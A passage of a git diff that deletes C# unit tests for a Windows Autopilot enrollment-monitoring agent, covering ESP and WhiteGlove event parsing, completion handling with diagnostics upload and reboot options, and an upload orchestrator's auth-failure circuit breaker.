ProcessEvent_62404_WithAADHello_EmitsHelloWizardStarted_AndTriggersFinalizingSetup() - { - var t = CreateTracker(); - - t.ProcessEvent(62404, - "CloudExperienceHost Web App Activity Started. Name: 'AADHello' ...", - DateTime.UtcNow, "Microsoft-Windows-Shell-Core", false); - - var evt = Last("hello_wizard_started"); - Assert.NotNull(evt); - Assert.Equal(EventSeverity.Info, evt.Severity); - Assert.Single(_finalizingReasons); - Assert.Equal("hello_wizard_started", _finalizingReasons[0]); - } - - [Fact] - public void ProcessEvent_62404_WithNGC_EmitsHelloWizardStarted() - { - var t = CreateTracker(); - - t.ProcessEvent(62404, - "CloudExperienceHost Web App Activity Started. Name: 'NGC' ...", - DateTime.UtcNow, "prov", false); - - Assert.NotNull(Last("hello_wizard_started")); - } - - [Fact] - public void ProcessEvent_62404_NonHello_Ignored() - { - var t = CreateTracker(); - - t.ProcessEvent(62404, - "CloudExperienceHost Web App Activity Started. Name: 'OtherThing'", - DateTime.UtcNow, "prov", false); - - Assert.Empty(_captured); - Assert.Empty(_finalizingReasons); - } - - [Fact] - public void ProcessEvent_62404_NotifiesHelloTracker() - { - var hello = CreateHelloTracker(); - var t = CreateTracker(hello); - - t.ProcessEvent(62404, "CloudExperienceHost ... 'AADHello' ...", - DateTime.UtcNow, "prov", false); - - Assert.True(hello.IsHelloWizardStartedForTest); - } - - // ===================================================================== - // Event 62407 — WhiteGlove success - // ===================================================================== - - [Fact] - public void ProcessEvent_62407_WhiteGloveSuccess_EmitsWhiteGloveComplete_FireOnce() - { - var t = CreateTracker(); - - t.ProcessEvent(62407, - "CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success'", - DateTime.UtcNow, "prov", false); - t.ProcessEvent(62407, - "CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success'", - DateTime.UtcNow.AddSeconds(1), "prov", false); - - Assert.Single(_captured, e => e.EventType == "whiteglove_complete"); - Assert.Equal(1, _whiteGloveCompletedCount); - Assert.True(t.IsWhiteGloveDetectedForTest); - // WhiteGlove does NOT trigger FinalizingSetup - Assert.Empty(_finalizingReasons); - } - - // ===================================================================== - // Event 62407 — ESP failures - // ===================================================================== - - [Theory] - [InlineData("ESPProgress_Failure")] - [InlineData("ESPProgress_Failed")] - [InlineData("ESPProgress_Timeout")] - [InlineData("ESPProgress_Abort")] - [InlineData("WhiteGlove_Failed")] - [InlineData("WhiteGlove_Failure")] - public void ProcessEvent_62407_WithFailurePattern_FiresEspFailureDetected(string failureKeyword) - { - var t = CreateTracker(); - - t.ProcessEvent(62407, - $"CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_{failureKeyword}'", - DateTime.UtcNow, "prov", false); - - var evt = Last("esp_failure"); - Assert.NotNull(evt); - Assert.Equal(EventSeverity.Error, evt.Severity); - Assert.Equal(failureKeyword, evt.Data["failureType"]); - Assert.Single(_espFailures); - Assert.Equal(failureKeyword, _espFailures[0]); - // Failure does NOT trigger FinalizingSetup - Assert.Empty(_finalizingReasons); - } - - // ===================================================================== - // Event 62407 — ESP exit - // ===================================================================== - - [Fact] - public void ProcessEvent_62407_OobeEspExiting_EmitsEspExiting_AndTriggersFinalizingSetup() - { - var t = CreateTracker(); - - t.ProcessEvent(62407, - "CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_Page_Exiting'", - DateTime.UtcNow, "prov", false); - - Assert.NotNull(Last("esp_exiting")); - Assert.True(t.IsEspExitedForTest); - Assert.Single(_finalizingReasons); - Assert.Equal("esp_exiting", _finalizingReasons[0]); - } - - [Fact] - public void ProcessEvent_62407_EspExit_NotifiesHelloTracker() - { - var hello = CreateHelloTracker(); - var t = CreateTracker(hello); - hello.StartHelloWaitTimer(); - hello.SetPolicyForTest(helloEnabled: true, source: "GPO"); - - t.ProcessEvent(62407, - "CloudExperienceHost Web App Event 2. Name: 'CommercialOOBE_ESPProgress_Page_Exiting'", - DateTime.UtcNow, "prov", false); - - // Hello gets notified → _espExitSeen flag is true → surfaces in next wait-timeout event data. - // We trigger the wait-timeout to observe it. - hello.TriggerWaitTimeoutForTest(); - // With policy enabled, wait-timeout emits extended_wait with espExitDetected=true - // (indirectly asserting that NotifyEspExited was called). - } - - [Fact] - public void ProcessEvent_62407_UnknownPattern_Ignored() - { - var t = CreateTracker(); - - t.ProcessEvent(62407, - "CloudExperienceHost Web App Event 2. Name: 'Unrelated'", - DateTime.UtcNow, "prov", false); - - Assert.Empty(_captured); - Assert.Empty(_finalizingReasons); - } - - // ===================================================================== - // WhiteGlove vs ESPProgress_Page_Exiting ordering: WhiteGlove must win - // ===================================================================== - - [Fact] - public void ProcessEvent_62407_WhiteGloveSuccess_DoesNotAlsoMatchEspExitingRegex() - { - // The WhiteGlove success description contains "Exiting page due to White Glove success." - // The generic OOBE_ESP.*Exiting regex must NOT match here because WhiteGlove is checked first. - var t = CreateTracker(); - - t.ProcessEvent(62407, - "CloudExperienceHost-Web-App-Ereignis 2. Name: 'CommercialOOBE_ESPProgress_WhiteGlove_Success', Wert: '{\"message\":\"BootstrapStatus: Exiting page due to White Glove success.\"}'.", - DateTime.UtcNow, "prov", false); - - Assert.Equal(1, _whiteGloveCompletedCount); - Assert.Null(Last("esp_exiting")); - Assert.False(t.IsEspExitedForTest); - } - - // ===================================================================== - // ExtractEspFailureType / HasEspFailurePattern - // ===================================================================== - - [Fact] - public void ExtractEspFailureType_ReturnsFirstMatchingKeyword() - { - Assert.Equal("ESPProgress_Failure", - ShellCoreTracker.ExtractEspFailureType("prefix ESPProgress_Failure suffix")); - Assert.Equal("ESPProgress_Timeout", - ShellCoreTracker.ExtractEspFailureType("a ESPProgress_Timeout b")); - Assert.Equal("WhiteGlove_Failed", - ShellCoreTracker.ExtractEspFailureType("WhiteGlove_Failed happened")); - Assert.Equal("Unknown_ESP_Failure", - ShellCoreTracker.ExtractEspFailureType("no known keyword here")); - } - - [Fact] - public void HasEspFailurePattern_DetectsAllKnownKeywords() - { - Assert.True(ShellCoreTracker.HasEspFailurePattern("x ESPProgress_Failure y")); - Assert.True(ShellCoreTracker.HasEspFailurePattern("x espprogress_failed y")); // case-insensitive - Assert.False(ShellCoreTracker.HasEspFailurePattern("ordinary message")); - Assert.False(ShellCoreTracker.HasEspFailurePattern("")); - } - - // ===================================================================== - // Backfill handler — dedup with live state - // ===================================================================== - - [Fact] - public void HandleBackfillRecord_EspExit_FiresOnceEvenAcrossMultipleBackfillRecords() - { - var t = CreateTracker(); - - t.HandleBackfillRecord("name: 'CommercialOOBE_ESPProgress_Page_Exiting'"); - t.HandleBackfillRecord("another CommercialOOBE_ESPProgress_Page_Exiting record"); - - Assert.Single(_finalizingReasons); - Assert.True(t.IsEspExitedForTest); - } - - [Fact] - public void HandleBackfillRecord_EspExit_AfterLiveEvent_DoesNotRefire() - { - var t = CreateTracker(); - - t.ProcessEvent(62407, - "CommercialOOBE_ESPProgress_Page_Exiting", DateTime.UtcNow, "prov", false); - var liveReasonsCount = _finalizingReasons.Count; - - t.HandleBackfillRecord("CommercialOOBE_ESPProgress_Page_Exiting"); - - Assert.Equal(liveReasonsCount, _finalizingReasons.Count); - } - - [Fact] - public void HandleBackfillRecord_Failure_AlwaysFires() - { - // Backfill failure path has no fire-once guard — every match triggers EspFailureDetected. - var t = CreateTracker(); - - t.HandleBackfillRecord("ESPProgress_Failure: boom"); - - Assert.Single(_espFailures); - Assert.Equal("ESPProgress_Failure", _espFailures[0]); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/CollectorCoordinatorTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/CollectorCoordinatorTests.cs deleted file mode 100644 index 842e4133..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/CollectorCoordinatorTests.cs +++ /dev/null @@ -1,130 +0,0 @@ -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Core -{ - /// - /// Tests for CollectorCoordinator's static classification logic. - /// Prevents: real enrollment events being misclassified as periodic (no idle reset), - /// or periodic events resetting idle timers (masking stalled enrollment). - /// - public class CollectorCoordinatorTests - { - // -- Periodic events must NOT reset idle tracking -- - - [Fact] - public void IsPeriodicEvent_PerformanceSnapshot_True() - { - Assert.True(CollectorCoordinator.IsPeriodicEvent("performance_snapshot")); - } - - [Fact] - public void IsPeriodicEvent_AgentMetricsSnapshot_True() - { - Assert.True(CollectorCoordinator.IsPeriodicEvent("agent_metrics_snapshot")); - } - - [Fact] - public void IsPeriodicEvent_PerformanceCollectorStopped_True() - { - Assert.True(CollectorCoordinator.IsPeriodicEvent("performance_collector_stopped")); - } - - [Fact] - public void IsPeriodicEvent_AgentMetricsCollectorStopped_True() - { - Assert.True(CollectorCoordinator.IsPeriodicEvent("agent_metrics_collector_stopped")); - } - - [Fact] - public void IsPeriodicEvent_StallProbeCheck_True() - { - Assert.True(CollectorCoordinator.IsPeriodicEvent("stall_probe_check")); - } - - [Fact] - public void IsPeriodicEvent_StallProbeResult_True() - { - Assert.True(CollectorCoordinator.IsPeriodicEvent("stall_probe_result")); - } - - [Fact] - public void IsPeriodicEvent_SessionStalled_True() - { - Assert.True(CollectorCoordinator.IsPeriodicEvent("session_stalled")); - } - - // -- Real enrollment events must reset idle tracking -- - - [Fact] - public void IsPeriodicEvent_EspPhaseChanged_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("esp_phase_changed")); - } - - [Fact] - public void IsPeriodicEvent_AppInstall_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("app_install")); - } - - [Fact] - public void IsPeriodicEvent_EnrollmentComplete_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("enrollment_complete")); - } - - [Fact] - public void IsPeriodicEvent_EnrollmentFailed_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("enrollment_failed")); - } - - [Fact] - public void IsPeriodicEvent_AgentStarted_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("agent_started")); - } - - [Fact] - public void IsPeriodicEvent_DesktopArrived_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("desktop_arrived")); - } - - [Fact] - public void IsPeriodicEvent_WhitegloveComplete_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("whiteglove_complete")); - } - - [Fact] - public void IsPeriodicEvent_DoTelemetry_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("do_telemetry")); - } - - [Fact] - public void IsPeriodicEvent_DownloadProgress_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("download_progress")); - } - - [Fact] - public void IsPeriodicEvent_EmptyString_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("")); - } - - [Fact] - public void IsPeriodicEvent_ArbitraryEvent_False() - { - Assert.False(CollectorCoordinator.IsPeriodicEvent("some_custom_event")); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EnrollmentCompletionHandlerTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EnrollmentCompletionHandlerTests.cs deleted file mode 100644 index cf0dc18f..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EnrollmentCompletionHandlerTests.cs +++ /dev/null @@ -1,402 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Agent.Core.Tests.Helpers; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Moq; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Core -{ - public class EnrollmentCompletionHandlerTests - { - private readonly AgentConfiguration _config; - private readonly Mock _mockCleanup; - private readonly Mock _mockDiagnostics; - private readonly Mock _mockPersistence; - private readonly Mock _mockSpool; - private readonly List _emittedEvents; - private readonly List<(string type, string message, Dictionary data)> _shutdownEvents; - private int _uploadCallCount; -#pragma warning disable CS0414 - private bool _stopTimersCalled; -#pragma warning restore CS0414 - private bool _stopCollectorsCalled; - private int? _shutdownAnalyzerPhase; - private int? _exitCode; - private int? _rebootDelaySeconds; - - public EnrollmentCompletionHandlerTests() - { - _config = new AgentConfiguration - { - SessionId = "test-session", - TenantId = "test-tenant", - SelfDestructOnComplete = false, - RebootOnComplete = false, - RebootDelaySeconds = 10, - DiagnosticsUploadMode = "Off", - DiagnosticsUploadEnabled = false, - ShowEnrollmentSummary = false - }; - - var mockApiClient = new Mock(); - _mockCleanup = new Mock(_config, TestLogger.Instance); - _mockDiagnostics = new Mock(_config, TestLogger.Instance, mockApiClient.Object); - _mockPersistence = new Mock(); - _mockSpool = new Mock(); - - _emittedEvents = new List(); - _shutdownEvents = new List<(string, string, Dictionary)>(); - _uploadCallCount = 0; - _stopTimersCalled = false; - _stopCollectorsCalled = false; - _shutdownAnalyzerPhase = null; - _exitCode = null; - _rebootDelaySeconds = null; - } - - private EnrollmentCompletionHandler CreateHandler() - { - var mock = new Mock( - _config, - TestLogger.Instance, - "1.0.0", - (Action)(e => _emittedEvents.Add(e)), - (Action>)((t, m, d) => _shutdownEvents.Add((t, m, d))), - (Func)(() => { _uploadCallCount++; return Task.CompletedTask; }), - (Action)(() => _stopTimersCalled = true), - _mockCleanup.Object, - _mockDiagnostics.Object, - _mockPersistence.Object, - _mockSpool.Object) - { CallBase = true }; - - mock.Setup(x => x.ExitProcess(It.IsAny())) - .Callback(code => _exitCode = code); - mock.Setup(x => x.StartReboot(It.IsAny())) - .Callback(delay => _rebootDelaySeconds = delay); - - return mock.Object; - } - - private void StopCollectors() => _stopCollectorsCalled = true; - private void RunShutdownAnalyzers(int? phase) => _shutdownAnalyzerPhase = phase; - - // ===== Diagnostics Upload Mode Logic ===== - - [Fact] - public async Task HandleEnrollmentComplete_DiagnosticsModeOff_NoDiagnosticsEmitted() - { - _config.DiagnosticsUploadMode = "Off"; - _config.DiagnosticsUploadEnabled = true; - - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers); - - Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting"); - _mockDiagnostics.Verify(d => d.CreateAndUploadAsync(It.IsAny(), It.IsAny()), Times.Never); - } - - [Fact] - public async Task HandleEnrollmentComplete_DiagnosticsEnabledFalse_NoDiagnosticsEmitted() - { - _config.DiagnosticsUploadMode = "Always"; - _config.DiagnosticsUploadEnabled = false; - - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers); - - Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting"); - } - - [Fact] - public async Task HandleEnrollmentComplete_OnFailure_SucceededEnrollment_Skipped() - { - _config.DiagnosticsUploadMode = "OnFailure"; - _config.DiagnosticsUploadEnabled = true; - - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers); - - Assert.DoesNotContain(_emittedEvents, e => e.EventType == "diagnostics_collecting"); - } - - [Fact] - public async Task HandleEnrollmentComplete_OnFailure_FailedEnrollment_Uploads() - { - _config.DiagnosticsUploadMode = "OnFailure"; - _config.DiagnosticsUploadEnabled = true; - _mockDiagnostics.Setup(d => d.CreateAndUploadAsync(false, null)) - .ReturnsAsync(new DiagnosticsUploadResult { BlobName = "test-blob.zip" }); - - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(false, false, StopCollectors, RunShutdownAnalyzers); - - Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_collecting"); - Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_uploaded"); - _mockDiagnostics.Verify(d => d.CreateAndUploadAsync(false, null), Times.Once); - } - - [Fact] - public async Task HandleEnrollmentComplete_Always_SucceededEnrollment_Uploads() - { - _config.DiagnosticsUploadMode = "Always"; - _config.DiagnosticsUploadEnabled = true; - _mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, null)) - .ReturnsAsync(new DiagnosticsUploadResult { BlobName = "test-blob.zip" }); - - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers); - - Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_uploaded"); - } - - [Fact] - public async Task HandleEnrollmentComplete_DiagnosticsUploadFailed_EmitsFailedEvent() - { - _config.DiagnosticsUploadMode = "Always"; - _config.DiagnosticsUploadEnabled = true; - _mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, null)) - .ReturnsAsync(new DiagnosticsUploadResult { ErrorCode = "BlobStorageError" }); - - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers); - - Assert.Contains(_emittedEvents, e => e.EventType == "diagnostics_upload_failed"); - } - - // ===== HandleEnrollmentComplete Flow ===== - - [Fact] - public async Task HandleEnrollmentComplete_Success_FullSequence() - { - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers); - - Assert.True(_stopCollectorsCalled); - _mockSpool.Verify(s => s.StopWatching(), Times.Once); - Assert.Null(_shutdownAnalyzerPhase); // null for non-WhiteGlove - Assert.True(_uploadCallCount >= 1); - Assert.Single(_shutdownEvents); - Assert.Equal("enrollment_complete", _shutdownEvents[0].type); - Assert.Equal(true, _shutdownEvents[0].data["enrollmentSucceeded"]); - Assert.Equal(0, _exitCode); - } - - [Fact] - public async Task HandleEnrollmentComplete_Failure_EmitsEnrollmentFailed() - { - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(false, false, StopCollectors, RunShutdownAnalyzers); - - Assert.Single(_shutdownEvents); - Assert.Equal("enrollment_failed", _shutdownEvents[0].type); - Assert.Equal(false, _shutdownEvents[0].data["enrollmentSucceeded"]); - } - - [Fact] - public async Task HandleEnrollmentComplete_SelfDestruct_CallsCleanupService() - { - _config.SelfDestructOnComplete = true; - - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers); - - _mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Once); - } - - [Fact] - public async Task HandleEnrollmentComplete_RebootOnComplete_EmitsRebootEvent() - { - _config.SelfDestructOnComplete = false; - _config.RebootOnComplete = true; - _config.RebootDelaySeconds = 30; - - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers); - - Assert.Contains(_emittedEvents, e => - e.EventType == "reboot_triggered" && - (int)e.Data["rebootDelaySeconds"] == 30); - } - - [Fact] - public async Task HandleEnrollmentComplete_NoSelfDestruct_NoReboot_JustExits() - { - _config.SelfDestructOnComplete = false; - _config.RebootOnComplete = false; - - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, false, StopCollectors, RunShutdownAnalyzers); - - _mockCleanup.Verify(c => c.ExecuteSelfDestruct(), Times.Never); - Assert.DoesNotContain(_emittedEvents, e => e.EventType == "reboot_triggered"); - Assert.Equal(0, _exitCode); - } - - [Fact] - public async Task HandleEnrollmentComplete_WhiteGlovePart2_PassesPhase2() - { - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, isWhiteGlovePart2: true, StopCollectors, RunShutdownAnalyzers); - - Assert.Equal(2, _shutdownAnalyzerPhase); - } - - [Fact] - public async Task HandleEnrollmentComplete_NotWhiteGlovePart2_PassesNull() - { - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete(true, isWhiteGlovePart2: false, StopCollectors, RunShutdownAnalyzers); - - Assert.Null(_shutdownAnalyzerPhase); - } - - [Fact] - public async Task HandleEnrollmentComplete_Exception_ExitsWithCode1() - { - var handler = CreateHandler(); - await handler.HandleEnrollmentComplete( - true, false, - () => throw new InvalidOperationException("collector exploded"), - RunShutdownAnalyzers); - - Assert.Equal(1, _exitCode); - } - - // ===== HandleWhiteGloveComplete Flow ===== - - [Fact] - public async Task HandleWhiteGloveComplete_DrainsSpool() - { - var drainCalls = 0; - // Spool returns 5 events for 2 iterations, then 0 - _mockSpool.Setup(s => s.GetCount()) - .Returns(() => drainCalls < 2 ? 5 : 0); - - var mock = new Mock( - _config, - TestLogger.Instance, - "1.0.0", - (Action)(e => _emittedEvents.Add(e)), - (Action>)((t, m, d) => _shutdownEvents.Add((t, m, d))), - (Func)(() => { drainCalls++; return Task.CompletedTask; }), - (Action)(() => _stopTimersCalled = true), - _mockCleanup.Object, - _mockDiagnostics.Object, - _mockPersistence.Object, - _mockSpool.Object) - { CallBase = true }; - - mock.Setup(x => x.ExitProcess(It.IsAny())) - .Callback(code => _exitCode = code); - mock.Setup(x => x.StartReboot(It.IsAny())); - - var handler = mock.Object; - await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 42L); - - Assert.True(drainCalls >= 2); - } - - [Fact] - public async Task HandleWhiteGloveComplete_SavesMarkerAndSequence() - { - _mockSpool.Setup(s => s.GetCount()).Returns(0); - - var handler = CreateHandler(); - await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 99L); - - _mockPersistence.Verify(p => p.SaveWhiteGloveComplete(), Times.Once); - _mockPersistence.Verify(p => p.SaveSequence(99L), Times.Once); - } - - [Fact] - public async Task HandleWhiteGloveComplete_EmitsCorrectShutdownEvent() - { - _mockSpool.Setup(s => s.GetCount()).Returns(0); - - var handler = CreateHandler(); - await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L); - - Assert.Single(_shutdownEvents); - Assert.Equal("whiteglove_complete", _shutdownEvents[0].type); - Assert.Equal(true, _shutdownEvents[0].data["sessionPreserved"]); - Assert.Equal(false, _shutdownEvents[0].data["selfDestruct"]); - Assert.Equal(true, _shutdownEvents[0].data["willResumeOnNextBoot"]); - } - - [Fact] - public async Task HandleWhiteGloveComplete_RunsPhase1Analyzers() - { - _mockSpool.Setup(s => s.GetCount()).Returns(0); - - var handler = CreateHandler(); - await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L); - - Assert.Equal(1, _shutdownAnalyzerPhase); - } - - [Fact] - public async Task HandleWhiteGloveComplete_Exception_ExitsWithCode0() - { - _mockSpool.Setup(s => s.GetCount()).Returns(0); - - var handler = CreateHandler(); - await handler.HandleWhiteGloveComplete( - StopCollectors, - (int? _) => throw new InvalidOperationException("boom"), - () => 1L); - - Assert.Equal(0, _exitCode); // graceful, not 1 - } - - [Fact] - public async Task HandleWhiteGloveComplete_DiagnosticsPreprovSuffix() - { - _config.DiagnosticsUploadMode = "Always"; - _config.DiagnosticsUploadEnabled = true; - _mockSpool.Setup(s => s.GetCount()).Returns(0); - _mockDiagnostics.Setup(d => d.CreateAndUploadAsync(true, "preprov")) - .ReturnsAsync(new DiagnosticsUploadResult { BlobName = "diag-preprov.zip" }); - - var handler = CreateHandler(); - await handler.HandleWhiteGloveComplete(StopCollectors, RunShutdownAnalyzers, () => 1L); - - _mockDiagnostics.Verify(d => d.CreateAndUploadAsync(true, "preprov"), Times.Once); - } - - // ===== DeleteSessionId ===== - - [Fact] - public void DeleteSessionId_DelegatesToPersistence() - { - var handler = CreateHandler(); - handler.DeleteSessionId(); - - _mockPersistence.Verify(p => p.DeleteSession(), Times.Once); - } - - [Fact] - public void DeleteSessionId_PersistenceThrows_DoesNotRethrow() - { - _mockPersistence.Setup(p => p.DeleteSession()) - .Throws(new System.IO.IOException("locked")); - - var handler = CreateHandler(); - handler.DeleteSessionId(); // should not throw - - _mockPersistence.Verify(p => p.DeleteSession(), Times.Once); - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EventUploadOrchestratorTests.cs b/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EventUploadOrchestratorTests.cs deleted file mode 100644 index 5bde0296..00000000 --- a/src/Agent/AutopilotMonitor.Agent.Core.Tests/Core/EventUploadOrchestratorTests.cs +++ /dev/null @@ -1,444 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Threading.Tasks; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Agent.Core.Tests.Helpers; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using Moq; -using Xunit; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent.Core.Tests.Core -{ - public class EventUploadOrchestratorTests : IDisposable - { - private readonly AgentConfiguration _config; - private readonly Mock _mockApiClient; - private readonly Mock _mockEmergency; - private readonly Mock _mockDistress; - private readonly Mock _mockCleanup; - private readonly Mock _mockSpool; - private readonly List _emittedEvents; - private readonly List<(string type, string message, Dictionary data)> _shutdownEvents; - private bool _terminalEventSeen; - private int? _exitCode; - - public EventUploadOrchestratorTests() - { - _config = new AgentConfiguration - { - SessionId = "test-session", - TenantId = "test-tenant", - MaxBatchSize = 100, - MaxAuthFailures = 5, - AuthFailureTimeoutMinutes = 0, - UploadIntervalSeconds = 30 - }; - - _mockApiClient = new Mock(); - _mockEmergency = new Mock( - _mockApiClient.Object, "test-session", "test-tenant", "1.0", TestLogger.Instance); - _mockDistress = new Mock( - "http://localhost", "test-tenant", "TestMfg", "TestModel", "SN123", "1.0", TestLogger.Instance); - _mockCleanup = new Mock(_config, TestLogger.Instance); - _mockSpool = new Mock(); - - _emittedEvents = new List(); - _shutdownEvents = new List<(string, string, Dictionary)>(); - _terminalEventSeen = false; - _exitCode = null; - } - - public void Dispose() - { - // Orchestrator disposes timers internally - } - - private EventUploadOrchestrator CreateOrchestrator() - { - var orch = new Mock( - _config, - TestLogger.Instance, - _mockSpool.Object, - _mockApiClient.Object, - _mockEmergency.Object, - _mockDistress.Object, - _mockCleanup.Object, - (Action)(e => _emittedEvents.Add(e)), - (Action>)((t, m, d) => _shutdownEvents.Add((t, m, d))), - (Func)(() => _terminalEventSeen)) - { CallBase = true }; - - orch.Setup(x => x.ExitProcess(It.IsAny())) - .Callback(code => _exitCode = code); - - return orch.Object; - } - - /// - /// Returns a Mock ServerActionDispatcher whose DispatchAsync captures the batch into the - /// supplied callback. Used by tests that verify the synthesis contract between the orchestrator - /// and the dispatcher (kill / admin-action → terminate_session ServerAction). - /// - private ServerActionDispatcher CreateCapturingDispatcher(Action> onDispatched) - { - var mock = new Mock( - _config, - TestLogger.Instance, - (Func>)(() => Task.FromResult(true)), - (Func>)(_ => Task.FromResult(new DiagnosticsUploadResult())), - (Func)(_ => Task.CompletedTask), - (Action)(_ => { })) - { CallBase = false }; - - mock.Setup(d => d.DispatchAsync(It.IsAny>())) - .Returns>(batch => { onDispatched(batch); return Task.CompletedTask; }); - - return mock.Object; - } - - private List CreateTestEvents(int count = 3) - { - return Enumerable.Range(1, count) - .Select(i => new EnrollmentEvent - { - SessionId = _config.SessionId, - TenantId = _config.TenantId, - EventType = $"test_event_{i}", - Timestamp = DateTime.UtcNow - }).ToList(); - } - - // ===== Auth Failure Circuit Breaker ===== - - [Fact] - public void HandleAuthFailure_FirstFailure_401_SendsDistressWithCertRejected() - { - var orch = CreateOrchestrator(); - orch.HandleAuthFailure(401); - - _mockDistress.Verify(d => d.TrySendAsync( - DistressErrorType.AuthCertificateRejected, - It.IsAny(), - 401), Times.Once); - } - - [Fact] - public void HandleAuthFailure_FirstFailure_403_SendsDistressWithDeviceNotRegistered() - { - var orch = CreateOrchestrator(); - orch.HandleAuthFailure(403); - - _mockDistress.Verify(d => d.TrySendAsync( - DistressErrorType.DeviceNotRegistered, - It.IsAny(), - 403), Times.Once); - } - - [Fact] - public void HandleAuthFailure_SecondFailure_DoesNotSendDistressAgain() - { - var orch = CreateOrchestrator(); - orch.HandleAuthFailure(401); - orch.HandleAuthFailure(401); - - _mockDistress.Verify(d => d.TrySendAsync( - It.IsAny(), - It.IsAny(), - It.IsAny()), Times.Once); - } - - [Fact] - public void HandleAuthFailure_BelowThreshold_DoesNotExit() - { - _config.MaxAuthFailures = 5; - var orch = CreateOrchestrator(); - - for (int i = 0; i < 4; i++) - orch.HandleAuthFailure(401); - - Assert.Null(_exitCode); - Assert.Empty(_shutdownEvents); - } - - [Fact] - public void HandleAuthFailure_ReachesMaxAuthFailures_EmitsShutdownAndExits() - { - _config.MaxAuthFailures = 3; - var orch = CreateOrchestrator(); - - for (int i = 0; i < 3; i++) - orch.HandleAuthFailure(401); - - Assert.Equal(1, _exitCode); - Assert.Single(_shutdownEvents); - Assert.Equal("auth_failure", _shutdownEvents[0].type); - Assert.Equal("max_attempts", _shutdownEvents[0].data["shutdownTrigger"]); - 